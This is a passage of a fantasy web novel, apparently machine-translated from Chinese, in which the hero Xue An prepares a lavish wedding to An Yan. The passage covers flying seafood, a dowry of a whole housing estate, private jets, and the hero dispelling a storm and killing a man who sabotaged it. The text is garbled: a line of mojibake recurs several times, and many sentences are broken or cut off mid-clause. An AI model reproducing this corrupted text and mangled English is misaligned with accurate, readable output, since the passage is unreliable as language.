    "Yes! If it doesn''t work, just put it on the main seat, and the other running water seats are okay if you lower it a little!" someone agreed.


    These proposals are very reasonable.


    But Qin Yu dare not call the shots.


    She knows Xue An��s intentions very well.


    This wedding, he must be perfect.


    "Wait a minute, sir should be back soon!"


    "But I don''t think even Mr. Xue can find so many precious ingredients! After all, this is nothing compared to others, and many of them cannot be bought by money!" The chef expressed his concern.


    At this moment, I saw a streamer flying across the sky. After stopping his figure, it was Xue An.


    "Sir!" Qin Yu exclaimed in silence.


    The other chefs were also dumbfounded.


    So the rumors are true!


    This Mr. Xue has indeed become a god, otherwise, how could he fly?


    At this moment, Xue An stood on the Yunmeng Lake and smiled lightly: "I got the seafood. Let''s put it in this lake first!"


    Say it He waved his hand, "Now!"


    Wow!


    is like rain.


    Countless seafood fell from the sky and fell into Yunmeng Lake.


    The scene of seafood dropping this day made these people look stupid.


    It took a long time to react.


    "My slot, such a big Eastern Star spot?"


    "Isn''t this lobster already extinct?"


    "My God, it''s all alive!"


    In a sound of exclamation, the head chef also awoke from the sluggishness, and shouted anxiously: "Mr. Xue, this Yunmeng Lake is a freshwater lake! These seafood will die if you put them in!"


    This sentence reminds many people.


    Yes!


    Seafood is kept in fresh water, isn��t this a fantasy?


    Xue An smiled in the air, "It''s okay! If I don''t let them die, they won''t dare to die!"


    As expected.


    After these sea creatures entered Yunmeng Lake, they were alive and kicking, showing no signs of dying.


    These chefs feel that their common sense of their lives has been completely subverted.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    But what they didn''t know was that after the Yunmeng Lake was occupied by Xiaosha, there was already dragon energy faintly.


    All aquatic creatures can get the nourishment of this silk dragon when they enter this place, so naturally nothing will happen.

 Chapter 344： Yaners dowry

    The most troublesome ingredient problem has been solved.


    The remaining trivial matters are nothing more than to spend money on it.


    And it was at the time of intensive preparations on the Beijiang side.


    An Yan has also returned to Zhongdu.


    The motorcade stopped slowly in front of Anjia, and An Qing got out of the car.


    But the first person who came up to greet him was not the one who settled down, but a man in his thirties with shoulder straps and a handsome costume.


    When I saw this man, An Qing''s face became difficult to look.


    "Wang Geng, what are you doing at my house?"


    Because An Qing and Wang Geng are not affiliated with the same jun district at all, as a colonel, she dared to call Wang Geng who is a major general.


    Wang Geng smiled, "Colonel Ann, I arrived in Zhongdu yesterday, but you were not at home at the time, so you have been waiting until now!"


    "I ask you, what are you doing here?" An Qing didn''t have the slightest expression on her face.


    Wang Geng''s eyes flashed with a hint of prey, but he still smiled and said: "Last time I entrusted the gift, Colonel Ann may not like it, so I returned it. This time I came here to apologize!"


    "No need!" An Qing said coldly.


    And this time, An Yan got out of the car too, "Qing''er, what''s wrong?"


    "It''s okay sister, there''s just an annoying guy!"


    After Wang Geng saw An Yan, his face showed a stunning look.


    These two sisters are so beautiful!


    "Anything else? If not, please leave!" An Qing said coldly.


    Wang Geng finally couldn''t help it, his face turned gloomy, "Colonel Ann, why do you want to keep people thousands of miles away? You know, I am only thirty-five years old this year, and I am already a major general. I have no future in the future. It''s limited, and I really like you again!"


    When talking about his military rank, Wang Geng''s face was full of triumph.


    And what he said is really good.


    Major general in his thirties, this is enough to shock the world.


    But An Qing sneered slightly, "Wang Geng, do you still need me to make it clear? The reason why the Liu family dared to **** the fire phoenix last time was so bold, don''t you know what role your Wang family played in it? "


    ''S words made Wang Geng''s face suddenly gloomy.


    The Wang family did participate in the Liu family''s last time.


    Because Wang Geng was full of possessiveness towards An Qing at that time.


    But he also knew that if An Qing didn''t become helpless, it would be difficult to pick this flower.


    That''s why he helped the Liu family seek control of the Phoenix.


    These things were only known to An Qing later.


    Therefore, of course, he doesn''t have a good face for Wang Geng.


    "Let''s go sister!" An Qing and An Yan are about to enter.


    Wang Geng said sadly: "Colonel An, I hope you can think clearly about the strength of my Wang family in Zhonghuai! If you are willing, then there will be only infinite benefits for your settlement!"


    In response, An Qing just scolded coldly, "Get out! Get out of here while I''m in a good mood!"


    Wang Geng was furious.


    , who has been the favorite of heaven since he was a child, has he ever suffered this kind of anger?


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    I saw Cheng Hao and others get out of the car one after another, and directly surrounded Wang Geng and the soldiers and regiments he had brought.


    Fire Phoenix everyone looked at Wang Geng with unkind expressions. As long as An Qing gave an order, they would immediately tear this guy to pieces.


    The fierce aura emanating from the members of the Fire Phoenix made Wang Geng''s face gradually paler, who had never been on the battlefield.


    "Colonel Ann, what do you want to do? Let your subordinates openly confront a major general on the streets of Zhongdu?" Wang Geng said liedly.


    An Qing smiled with disdain at the corner of her mouth, "So what?"


    "You...you are committing the following! I..."


    Before Wang Geng had finished speaking, he heard a very majestic voice.


    "In Zhongdu, when is it your turn to get people from Zhonghuai Jun District to play in the wild? Still committing the following? Haha, what is your military rank in Zhonghuai Jun District, don''t you know yourself?"


    With the voice, more than a dozen mighty and domineering military vehicles stopped by the roadside, and a group of people came down from above.


    This group of people are in their forties or fifty years old, wearing neat military uniforms, and most of them are major generals.


    and the one who was speaking was the one who walked in the front, with the rank of lieutenant general on his shoulders.


    Wang Geng was dumbfounded.


    These generals are all powerful figures in Zhongdu.


    To put it bluntly, no one can afford to be a civilian general like him.


    Especially the lieutenant who spoke.


    Don''t talk about Wang Geng, even he can''t afford to provoke him.


    In Wang Geng��s surprised gaze, these generals walked to An Qing and said affectionately: "Xiao Qing, have you brought your sister back?"


    Anqing nodded, "I have seen all the generals!"


    "Haha, I will not be in the military camp in the future. It is better to call us uncle! The general is too alienated!" The leader Yang Lieutenant laughed.


    "Yes, Uncle Yang!" An Qing said obediently.


    "Then...when will your brother-in-law come to Zhongdu?" When referring to An Qing''s brother-in-law, a strange look appeared on the faces of these generals.


    Anqing smiled, "It should be on my sister''s birthday, which is four days later!"


    "Good! Good!"


    Lieutenant General Yang nodded repeatedly with a smile.


    Can turn his head to look at Wang Geng dumbfounded, the smile on his face disappeared.


    "Go back and tell your old man that Zhonghuai is not his Zhonghuai, and you can''t help the Wangs to come here, and I advise you to try to provoke Anjia less, otherwise...huh!"


    This Lieutenant General Yang did not finish, but the meaning was already obvious.


    Who is not in awe of Anjia now?


    Because of that killer he never shows mercy!


    If you really annoy him, then no matter what kind of wealthy family you are, you will not be able to escape the end of the door.


    How dare Wang Geng speak in front of this group of people.


    He thought that only Colonel An Qing was the only one in Anjia now. Most of the forces had gone, but he was a soft persimmon.


    That''s why he dared to harass An Qing again and again.


    can see the current battle.


    These generals were even a little flattered with An Qing''s affection.


    It can be seen how powerful Anjia is now.


    Therefore, when Lieutenant General Yang spoke to let him go, he was like a pardon, not even daring to even look at An Qing, and immediately ran away in disgrace.


    "Hehe, this Wang family is used to rampant in Zhonghuai, do you really think Zhongdu is their one-acre three-point land?" Yang Lieutenant sneered.


    and haven''t waited for them to enter Anjia.


    Chen Xiuhe also led the people to arrive.


    As soon as he saw him, Lieutenant General Yang joked: "Old head Chen, you notified all of us that it is Mr. Xue that is about to get married. We are all here, where did you go?"


    Chen Xiuhe smiled, "Yan Er is one of my juniors. Of course I can''t come empty-handed if I want to be out of the cabinet now!"


    said, a full dozen heavy trucks arrived.


    "This is..." An Qing said in surprise.


    "This is the dowry I gave to Yan Er!" Chen Xiuhe said with a smile.

 Chapter 345： China is a sensation

    During these two days, Zhongdu has been screened by one incident.


    There are people talking everywhere in the streets.


    "Hey, did you hear that? The dowry given to An Yan by the old man from the Chen family contained more than a dozen trucks!" someone said.


    "Hehe, you just heard that I saw it with my own eyes next to me!" Another person sneered.


    "Oh? Really? Then tell me, what are you giving away?"


    The people around him gathered around.


    "Yeah! You are telling me!"


    "I heard that there are so many interesting things in it! Gold jewelry alone is worth hundreds of catties!"


    "Gold? Haha! That''s just the least valuable thing in the gift!"


    This dear fellow was also very proud to see himself surrounded by so many people, and he deliberately said loudly.


    ''S words caused a commotion among people around.


    "Gold is not valuable? So what is valuable?" Some people didn''t believe it.


    "Or you are all ordinary people, let you imagine the real life of the rich and the rich, you can''t imagine! I will tell you today!"


    The dear man grabbed his attention, and then whispered: "Have you seen a blood coral over three meters high?"


    Everyone shook their heads.


    "I saw it with my own eyes that day, that thing is really rare!"


    "Have you ever seen a pearl with a child''s fist? I saw dozens of them that day."


    "Have you seen a limited edition sports car in the world?"


    "I have seen this!" Everyone nodded.


    "Hehe, seven cars were given away as soon as they were given."


    "Why send seven cars?" someone asked.


    "Nonsense, these seven cars are all different in color, and they are delivered according to the color of the car driven by the day of the week!"


    "Oh!" Everyone suddenly realized.


    "These are not the most valuable!"


    "Is this not worth enough?"


    "Hehe! How about poverty limits your imagination." This person said, and began to gesture with his hands.


    "What is this you sign?" Someone asked curiously.


    "Have you seen such a large wooden box? Red sandalwood!"


    "What''s the matter? A wealthy friend I know has it at home!" Someone found a chance to pretend this time, and said quickly.


    "The key is not in the box!"


    "What''s that?" Everyone asked.


    Speaking of this, the dear fellow looked leisurely and fascinated, and said obsessively: "That is the most valuable gift I have ever seen. It is densely piled up, all are real estate certificates!"


    Boom!


    I just heard about three meters of high-blooded coral and the fist-sized pearls, and there is no shock to the crowd. This is a start.


    "Can you see clearly?"


    "Of course I can see clearly, then Mr. Chen opened it himself and let people take a look at it. Guess where the house is?"


    "Where?"


    "Three Rings!"


    The crowd looked at each other, some of them were unbelieving.


    "Blow it, you just, are there so many houses in the third ring? Like your gesture, at least a thousand sets!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Yes, my family lives in Sanhuan, and the houses there are now priceless!"


    This dear friend has been sneered all the time, and when these people have finished speaking, he said calmly: "I knew that some people would not believe it. At that time, someone asked Mr. Chen like that. Guess what they said."


    "Huh? How to say?"


    "Old man Chen said that it was a newly built community, and the real estate certificates of all the houses were there!"


    This sentence made everyone stupid.


    I have heard of giving gifts to houses, but I have never heard of giving a whole community.


    "Okay, I am also free. Tell you what this is for, I have to leave now!" said the dear man.


    "Brother, where are you busy?"


    "Naturally I went to Anjia to watch the fun."


    "Isn''t it the news that a few days after the official wedding? What excitement is there to see now?" Someone asked suspiciously.


    "Hehe, what a group of rising people! Do you know who are helping in Anjia now?"


    "who?"


    "All the basics with a little status and fame have gone, let alone other, you all know Master Wei Ruyanwei!"


    "Know it! I like her gardening the most!"


    "Now she is making her home, and she has made her home a sea of ??flowers! With this, it''s worth going there to squat and watch the excitement for a day!"


    The man finished speaking, turned and left.


    The rest of them looked at each other, and then they all lit up.


    "Go, go and see!"


    As the rumors said.


    The current home has become a sea of ??flowers.


    Wei Ruyan took out all his skills, all kinds of strange flowers and weeds competed for beauty, making the whole house extraordinarily beautiful.


    Not only her, but basically everyone who is a little capable has arrived.


    Even one of the people who is sweeping the floor may be the general manager of a certain company.


    And the three of Zhao Xuehui, Yang Binyi and Qiao Le are still very busy every day.


    For example, now, the three of them have moved to a climbing stool and are hanging a lantern in front of a room.


    All three of them now have a net worth of hundreds of millions, but they are still busy as before, and there is no such thing as a rich man.


    The entire Anjia has become a large construction site, with busy people everywhere.


    The festive atmosphere, also in this kind of busyness, became more and more intense.


    As an absolute heroine, An Yan has always been in a state of confusion throughout the process.


    In her vision, she followed An Qing back to Zhongdu, and then simply arranged to quietly wait for Xue An to pick her up.


    I didn''t expect the battle to be so loud.


    The big one made her a little at a loss.


    Seems to see the confusion and confusion in An Yan''s heart, An Qing said with a smile.


    "Sister, this must be what brother-in-law meant!"


    "Well, I''ve told him many times, I really don''t care about this! As long as we can be together, why bother to make so many messy things." An Yan said.


    An Qing shook her head and chuckled: "Actually, I understand and agree with her brother-in-law''s approach. From meeting and falling in love to having thoughts and thoughts, it is not easy to walk this way! Now brother-in-law doesn''t It is said that the king is over the world, but it is considered to be a leader, he naturally wants to make up!"


    said here, a touch of envy flashed in An Qing''s eyes.


    "He has such a huge momentum, and his purpose is to tell the world that you are his woman!"


    Listening to her sister''s advice, An Yan nodded, and the happiness in her heart would overflow.


    At this moment, the door opened.


    A group of elegantly dressed women walked in.


    "Miss Ann, we are invited by Patriarch Chen to be responsible for your makeup and clothing for the entire wedding."


    "Huh?" An Yan was a little dazed.


    "Listen to them, Miss Ann brought a full set of wedding gowns and gowns from Beijiang. Can you change them now? Let''s show you!" These women are the oldest in the group, with gray hair, but the most elegant temperament. The woman said lightly.

 Chapter 346： Im ready, waiting for you to marry

    When An Yan walked out wearing the Chinese wedding gown sewn by Feng Caiyi.


    These women first looked at them critically, and then nodded in satisfaction.


    Only the woman in the lead gave a slight shock.


    "Just take the liberty to ask, is this wedding dress made by Feng Caiyi?"


    An Yan nodded, "I don''t know if it is, but people call him Master Feng!"


    The woman smiled, "You can tell at a glance, he is the only one who can make such a craft!"


    Then the woman sternly said: "Ms. An, you are the first person I have ever seen in your life regardless of your temperament or appearance! But since marriage is such an important time, I think you can still be more beautiful and noble! "


    "For example, when you wear such a Chinese wedding gown, walking is different from wearing a western wedding gown!"


    The woman said, she gave An Yan a demonstration.


    An Yan walked in accordance with that, and the momentum immediately changed.


    The woman''s eyes lit up, because An Yan''s ability to comprehend is simply amazing.


    just look at it casually, you can learn 70% to 80% of the charm.


    "Miss Ann, do you know how precious your talents were wasted? If you met me early, I will train you to be the noblest and most elegant dancer in the world!" The woman exclaimed.


    An Yan smiled shyly.


    "In the next two days, I will help you design everything, Miss An, if you want to practice dancing, I can teach you!" The woman was still a little unwilling.


    An Yan shook his head, "No, my husband should not agree!"


    An Yan mentioned her husband, and the woman closed her mouth immediately.


    Yes!


    How could that man��s wife dance on the stage?


    After waiting for the woman to leave, An Yan didn''t know who this woman was, but she was definitely not an ordinary person depending on her behavior.


    And An Qing smirked and said, "This woman is the confidant of old man Chen rumored, and Tai Yujin, who has won the highest honor of dancers!"


    An Yan was startled at first, and then couldn''t help laughing.


    In Zhongdu, there have been many rumors about Chen Xiuhe and Tai Yujin.


    Now it seems... the rumors seem to be true!


    Two days later.


    An Yan stood in front of the mirror, looking at the beautiful and unparalleled girl in the mirror, she couldn''t help but feel a little dazed.


    Tai Yujin watched from the side, her face was also full of surprise.


    After these two days of contact, Tai Yujin has been deeply impressed by An Yan''s comprehension.


    No matter what the action is, An Yan will basically watch it once.


    So in just two days, An Yan, who was already overwhelmed by the country, has improved his temperament and charm to the next level.


    Tai Yujin is also extremely satisfied with this.


    In my lifetime, I can be a mentor to such a girl for two days and watch her grow up.


    This sense of accomplishment is unparalleled.


    "Miss An, a woman is a person who pleases herself. I think I will be surprised when Mr. Xue comes to pick you up!" Tai Yujin said.


    An Yan smiled upon hearing this.


    The extraordinary elegance of this laughing room made the people in the room a bit stunned.


    Then An Yan turned her head, continued to look at herself in the mirror, and meditated.


    Husband, I am ready, when will you come and marry me?


    while in Beijiang.


    will go to Zhongdu tomorrow.


    But today there is no shadow of a private jet.


    Griffin, who had been a little calm, couldn''t sit still at this moment, and started calling Charles frantically from the morning.


    But without exception, all of them cannot be connected.


    At noon, Griffin was so angry that he couldn''t get through again, and he smashed the phone to pieces.


    gritted his teeth and said: "Charles, do you dare to play with me? I want someone to smash you into pieces!"


    But being ruthless now doesn''t help, he can only bite the bullet and come to see Xue An.


    "Big...sir, Charles hasn''t delivered the plane yet! Tomorrow..." Griffin was terrified, for fear that Xue An would be furious about it again.


    Unexpectedly, Xue An just smiled slightly, "It''s okay!"


    Although Xue An did not blame and comforted a few words, Griffin''s heart was still full of guilt and anger.


    This **** who used to walk in the darkness finally revealed his hideous minions.


    He decided that when the adult��s wedding was over, he would grab Charles and then pick out his bones little by little.


    At night, there was still no plane.


    Griffin was completely desperate and didn''t even show up for dinner.


    Because he felt entrusted by a negative adult, he really had no face to meet people.


    "Sir, why don''t we drive to the center now?" Qin Yuan asked, who was dressed in haute couture clothes.


    He will naturally go with him tomorrow, so he will be waiting at Villa No. 1 Tianzi tonight.


    He also knew the news that the private jet never came, so he asked.


    Xue An shook his head, "No! If you drive there, it will take too long on the road! I can do it myself!"


    "Okay!" Seeing Xue An said this, Qin Yuan nodded.


    While everyone else was worried, suddenly, there were roars in the distance.


    The people chatting outside looked up, and they were all taken aback.


    "It''s... an airplane!" someone shouted.


    Griffin, who was sitting stuffy in the room, also heard the noise outside. He didn''t pay attention to it at first, but waited to listen carefully.


    is the roar of the plane!


    He was shocked and jumped out of the window.


    As expected.


    Five brand new private jets flew in the sky.


    Because I knew there would be planes coming, I had prepared a temporary airport in advance.


    When the plane stopped, Charles had just walked down the spiral staircase, Griffin roared and rushed up with a punch in the head.


    The punched Charles staggered and almost fell, and blood was shed from his nose in an instant.


    "Charles, you almost broke the big thing about my adult! Do you know?" Griffin said gloomily.


    Charles was so scared that he trembled. Although his face was bloody, he quickly said with a smile: "I''m really sorry, Mr. Griffin, you have to listen to my explanation. In fact, I had already prepared the plane yesterday. He was intercepted by the military on his way to China, and he was tossed until this afternoon before being released Charles was aggrieved.


    "Military? Didn''t you mention my adult''s name?" Griffin said angrily.


    "Telled it! It''s okay not to mention it. When I mentioned it, I was going to let it go, but I was deducted for another day!"


    When I talked about this, Charles''s heart was bleeding.


    Since receiving Griffin''s call, he hasn''t closed his eyes at all these days, looking for ready-made private jets everywhere like crazy.


    It''s a coincidence, he really got it together.


    Overjoyed, he immediately rushed to China.


    Because Griffin said clearly, if one day in advance, 30% more!


    That is tens of millions of wealth!


    Unexpectedly, he was intercepted when he first entered China, and finally wasted a day.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Oh? Then do you know where the army intercepted you?" Xue An said lightly.


    Charles is very good at words and colors, and quickly respectfully said: "Dear sir, I can remember even when I turned to ashes. The person who detained me was a family surnamed Wang in Zhonghuai!"


    The House of King Zhonghuai?


    Qin Yuan and others changed slightly.


    This family has a long history in the military.


    Xue An only smiled, "Thanks for your hard work, this is not your fault, the amount is still increased by 30%!"


    Charles was overjoyed, "Thank you sir!"

 Chapter 347： The wedding day (part 1)

    Five brand-new private jets lined up, and Charles led Xue An through them one by one.


    "Sir, these planes were originally for the Z East Royal Family, so each configuration is extremely luxurious. For example, this one even has a private swimming pool on it." Charles introduced excitedly.


    Xue An''s expression was indifferent, but Qin Yuan and many others who followed were all surprised.


    Although the rich Chinese have emerged in an endless stream these years, when it comes to luxury, they are still inferior to the old aristocrats with deep heritage abroad.


    "Different from those private jets that can only carry a dozen people, each of them can accommodate more than 30 people, and it can provide every guest with a very comfortable environment!"


    Charles talked freely, but seeing Xue An''s expressionless face all the time, he couldn''t help feeling a little flustered.


    Because of this, he can��t help but roll his eyes and smile, ��Of course, these may not be regarded as much in the eyes of the husband, but I have to introduce the most important part of these private jets below!��


    Talking, Charles clapped his hands.


    More than twenty beauties in stewardess costumes came out.


    Charles said triumphantly: "These people have been strictly trained. They were supposed to follow these planes and sell them to Z Dong, but now they belong to the husband!"


    While talking, Charles winked at the stewardess.


    As he said, these flight attendants have undergone strict and special training, so they all bowed to Xue An respectfully.


    "I have seen Mr.!"


    is actually the standard Chinese pronunciation.


    "Hey, every stewardess here is a top university graduate, and the least is also good at four or five foreign languages. They are all rare stunners!" The expression on Charles''s face was that a man could understand.


    Xue An is still noncommittal.


    But these flight attendants are a little bit happy in their hearts.


    On a global scale, those who can afford such a luxurious private jet are basically dying old people.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    These girls are also prepared for the worst.


    I didn''t expect that the boss this time was such a young and handsome man.


    This kind of boss, don''t say reluctantly, just post money back.


    Xue An shook his head and said lightly: "No need!"


    "Huh?" Charles didn''t understand.


    "I mean, you don''t need so many flight attendants."


    This sentence made the atmosphere become silent, and the faces of these beautiful people gradually became pale.


    Charles said hesitantly: "Sir, these beautiful ladies are all delivered by private jets. Even if you don''t want them, there will be no discount on the price!"


    At this moment, Griffin couldn''t hold back any more, and took a few steps forward, and said angrily: "Charles, does my lord care about the money? You stupid donkey, who didn''t know anything at all, arranged such a show! Knowing what my adults do for buying so many planes?"


    "What are you doing?" Charles blinked his shrewd little eyes, and thought in his heart, what else could be done, nothing more than sitting in a private jet to enjoy the life of the top rich.


    "My adults bought these planes to meet their relatives! You idiot!" Griffin scolded.


    "Welcome?" Charles still didn''t understand.


    "To put it bluntly, I need to use these to pick up my wife!"


    Charles finally understood, and then he was shocked.


    Not only he was shocked, but the flight attendants were shocked.


    Hao has thrown hundreds of millions, but only to use this to pick up relatives?


    This is simply unreasonably extravagant.


    "These flight attendants just stay here, so you can bring a few more guests and friends!" Qin Yuan said at this time.


    Xue An nodded, then looked at the pale-faced beauties, and said lightly: "After picking up the relatives, you just follow the plane!"


    Hearing Xue An''s words, the group of stewardesses were relieved, and then they made small calculations in their hearts.


    So my boss already has a wife!


    But this is nothing at all.


    Which rich man is not several girlfriends?


    As long as he takes a plane, then his group will have the opportunity to approach him!


    The thought of being able to climb such a handsome and golden man makes the hearts of these stewardess hot.


    But what they didn''t know was that Xue An bought these planes purely for the purpose of picking up the relatives. After picking up Anyan, he probably won''t use them.


    After all, no matter how fast the plane flies, can you still fly directly into the sky?


    Wait until the sun rises.


    The teams going to Zhongdu to pick up their relatives are already there.


    Thinking and Niannian are definitely going to go.


    Lao Xie and Fat Aunt today wore brand-new and decent clothes, dressed like two successful businessmen. They are going to go as witnesses.


    Besides, Tang Xuan''er and Xue Lan also went as the man��s wife.


    With such a sum total, it will probably go to more than forty people.


    Xue An put on a Chinese dress, a smile appeared on his handsome face.


    "set off!"


    Five planes rose into the sky and headed straight for Zhongdu.


    When the plane passed the gate of Yunmeng Courtyard, Wu Qiang brought many security guards to salute.


    And media from all over the world will broadcast live from the morning.


    When these reporters saw five brand-new planes flying into the sky, they couldn''t help but exclaimed.


    "What a big handwriting!"


    In a quiet town in Europe, Fan Mengxue sat on the sofa and stared at the live broadcast on TV.


    "Mengxue Today we are going to attend a film festival, are you leaving now?" Han Yao whispered.


    She knows Fan Mengxue''s current mood, so she wants her to temporarily forget about it with her work.


    But suddenly, Fan Mengxue stood up and said, "Go home!"


    "Huh?" Han Yao thought she had heard it wrong.


    "I thought I would be jealous, but his relationship with An Yan made me jealous at all. This is his happy moment, and I should be on the side!" Fan Mengxue said softly, then turned and ran out.


    Han Yao stood still, and sighed after a while.


    "Women who are trapped by feelings are all so stupid?"


    �ж�.


    Since I woke up in the morning, the whole Anjia was crowded with congratulatory friends from all over the world.


    With such a small number of servants as An Jia, I can��t be too busy.


    Chen Xiu and immediately called the Chen family to come and help.


    And the Fire Phoenix and many people in the army also spontaneously came to maintain order.


    Almost all the wealthy families are here.


    Such a grand scene can not help but make many people sigh.


    sighed at the prestige of the Anjia.


    And different from other giants, Anjia''s current power and status are almost all due to a man''s tactics.


    And the citizens of Zhongdu rushed to watch the excitement earlier.


    In front of the An��s house, and even the nearby streets are full of all kinds of luxury cars.

 Chapter 348： Big wedding day (middle)

    Some people couldn''t help but laugh and say that if there is a luxury brand car that does not appear at this time, it means that the brand is not luxurious enough at all.


    By the time the sun goes three poles, the whole Anjia is already very lively.


    Numerous media have also aimed their cameras here.


    This is almost a wedding broadcast live worldwide.


    In such an atmosphere, it is inevitable that there will be some jealous voices.


    "Hehe, it takes at least seven or eight hours to drive from Beijiang to Zhongdu. If they only go out now, it would be good if they can arrive at night!" someone said coldly.


    "That''s right, and I don''t think I might be able to arrive today. Haven''t you seen traffic jams everywhere outside?"


    "What I said is, and even if they get to Zhongdu, it will take at least a few hours to get home from them! Today''s wedding, huh, I think it''s awful!"


    The jealous words of these people make many people feel uncomfortable, but there is no way to refute it.


    The three brothers Zhao Xuehui, Yang Binyi and Qiao Le are also full of anxiety at the moment.


    "Why hasn''t the second brother come now? I just asked, there are indeed traffic jams everywhere!" Qiao Le said anxiously.


    "Don''t panic, the second brother has always done things well, he must have thought of this!" Zhao Xuehui said.


    And An Yan has put on makeup at this moment, sitting quietly in the room waiting, hearing the noise outside, can''t help asking.


    "what happened?"


    Anqing frowned, "It''s okay, it''s just that some good guys are talking nonsense."


    "Oh!" An Yan nodded.


    "Sister, did my brother-in-law tell you how to come to Zhongdu?"


    "I asked, but he just smiled to make me feel relieved."


    Anqing couldn''t help but breathe a sigh of relief when she heard this.


    After such a long experience, in An Qing''s view, there is nothing that Xue An cannot do.


    At this moment, the sky outside suddenly began to darken, and the wind was so loud that it was actually a prelude to the rainstorm.


    It''s a busy time, and everyone in the An family is afraid that the wedding scene that was finally arranged will be ruined by a heavy rain.


    But some people who are uncomfortable or have hatred with Xue An are secretly happy!


    It will rain heavily! The best way to get rid of the hatred is the hail!


    Chen Xiuhe''s complexion can''t help but look a little ugly.


    Originally, the Meteorological Bureau vowed to say that there would never be rain today. Why is it raining suddenly?


    Is it true that people are not as good as heaven?


    At this moment, I heard the huge roar of the plane from a distance.


    A sharp-eyed person could not help exclaiming when he saw the five planes flying in the distance.


    "Look at that!"


    Everyone looked up. At this time, the plane had already flown over Anjia and began to circle.


    Many people looked sluggish, and a thought came to mind.


    Could it be...this is the team that came to pick up the family?


    This is too shocking!


    But at the same time, rain began to fall.


    Some people yelled deliberately, "It''s going to rain heavily, go home and collect your clothes!"


    When the crowd is commotion.


    I saw a person rising into the sky on an airplane, and at the same time he gave a cold shout.


    "Open!"


    The sound is not loud, but it seems to explode in everyone''s heart.


    Boom!


    I saw that the dense clouds in the sky were torn apart in the blink of an eye, and then quickly dispersed.


    The sun shone again, shining on many shocked faces.


    Chen Xiuhe smiled slightly, and let go of a hanging heart.


    No matter what, as long as he comes, it will be easy!


    At this time, after Xue An blasted the black cloud away with a fist, he stood coldly in the sky, and went straight to a place with a spirit.


    Somewhere, a middle-aged man who was closing his knees suddenly opened his eyes and shouted in horror: "No..."


    But before the voice fell, the whole head exploded.


    This scene shocked everyone present.


    was especially close, and even the star on his shoulder was stained with blood.


    Xue An saw this scene, and a cold smile appeared on the corner of his mouth.


    actually wanted to ruin my wedding!


    If it weren''t for welcoming the relatives now, it shouldn''t be too heavy to kill, otherwise it will kill you first!


    Let you live a few more days!


    After thinking about it, Xue An slowly fell to the ground.


    When he was down to earth, the members of the Fire Phoenix gathered into the team and shouted in unison: "Instructor!"


    Xue An nodded slightly, then looked around the field of view.


    Many people who had been suspicious at first, all bowed their heads in fear, and did not dare to look at Xue An''s gaze.


    But more curious and shocked eyes.


    After all, Xue An��s way of playing on the stage is simply too special and shocking.


    At the same time, the five private jets stopped directly behind Anjia.


    There is a large open space behind the home. It is perfect to park airplanes here, but it also tests the pilot''s skills.


    These rigorously trained pilots dared to stop directly.


    As soon as the plane stopped, Qin Yuan and Tang Xuan''er all got off the plane and came to Xue An.


    Chen Xiu and smiled greeted him, "Mr. Xue, congratulations!"


    Xue An smiled slightly, "Uncle Chen is polite!"


    The sound of Uncle Chen made Chen Xiu and a little startled, and then they laughed very freely.


    "Good! Good! Today is really a big day, let''s go! Talk inside!"


    After Xue An and Yigan waited to go to the banquet hall, the people outside started talking.


    "I wipe Is this still a human? Falling from such a high sky, unscathed?" Someone looked shocked.


    "Do you know how good this Mr. Xue is? Didn''t you see that he just broke up when the heavy rain was approaching?"


    "I was most shocked by these five planes. I just looked at them carefully. All five planes are printed with the word Xue! And they are all brand new! Is this what he just bought?"


    This sentence has made many people silent.


    For these wealthy families, the tyranny of force can certainly make them surrender.


    But this kind of crush from wealth and power makes them most desperate.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Many people with bad intentions all slipped away at this moment.


    In the banquet hall, everyone sat with Xue Anlue for a while.


    Xue Xiang and Xue Nian yelled anxiously: "Dad, where is mommy?"


    "Yeah! We miss our mother!"


    The words of the two daughters made many people smile.


    Chen Xiuhe smiled and said, "I miss you, you see, you walk through the banquet hall from here, and there are a few houses behind. Your mother is there, but you can decorate more red envelopes!"


    Xue Xiang and Xue Nian nodded their heads, then looked at Xue An and said, "Dad, are you carrying a red envelope?"


    Xue An smiled, then stood up and said lightly: "Of course take it! Go, let''s pick up mom together!"

 Chapter 349： The day of the wedding (below) first

    After walking through the banquet hall, the promenade in front has been covered with flowers, becoming a veritable flower corridor.


    Xue Anhe Miss Missing Nian, Tang Xuaner Xue Lan, and many others walked inside.


    Just halfway through, I saw someone pushing a wheelchair blocking the way.


    "Mr. Xue, on today''s big day, our two sisters also come to join in the fun, let''s get the red envelope!" Wei Rulan, who was sitting in the wheelchair, stretched out his hand with a smile.


    Wei Ruyan also said, "Yes! Mr. Xue, I took out all the flowers at the bottom of the box for your wedding!"


    Xue An smiled, "Thank you girl Ruyan, red envelopes are naturally there!"


    said, and passed two bulging red envelopes.


    Wei Ruyan and Wei Rulan just came to join in the fun, and did not take the so-called red envelopes seriously.


    As soon as I took the red envelope, the complexions of the two sisters Wei Rulan couldn''t help changing.


    "This is..." Wei Ruyan exclaimed.


    Xue An smiled faintly, "Some people call these things spirit stones, but I think it''s better to call them chalcedony!"


    Wei Ruyan and Wei Rulan glanced at each other, and they both found the horror in each other''s eyes.


    As soon as the two of them received the red envelope, they felt the aura inside. Now that Xue An said it was chalcedony, it was naturally even more shocking.


    "Mr. Xue, this thing is too expensive. We are just joking. How dare we ask for it?" Wei Ruyan said, and she was about to hand back the red envelope.


    Xue An smiled, "I have this stuff, and you have worked hard to help decorate the house!"


    As he said, Xue An took a step and walked inside.


    Wei Ruyan and Wei Rulan looked at him away from the back, both a little stupid.


    "Rulan, do we really accept this thing?" Wei Ruyan asked.


    At this time, Xue An��s voice came, "Wear this thing more, she even has a chance to stand up!"


    Wei Rulan heard the shock, and then said respectfully: "Thank you, Mr.!"


    "You''re welcome!" Xue An smiled faintly, and was already far away.


    This chalcedony or spirit stone is indeed a good thing for ordinary cultivators, but Xue An knows very well that this thing can really improve the cultivation level at first use, but if it is used too much, it will only harm and not benefit.


    So he never let Anyan or anyone else use it.


    And the reason why it is said that there is, is because of the ring Xue An found from the fairy palace.


    That ring is a mustard ring.


    , as the name suggests, refers to a spatial ring that can accommodate mustard seeds and can put many things into it.


    Xue An broke the seal above and found that there were tons of spiritual stones inside.


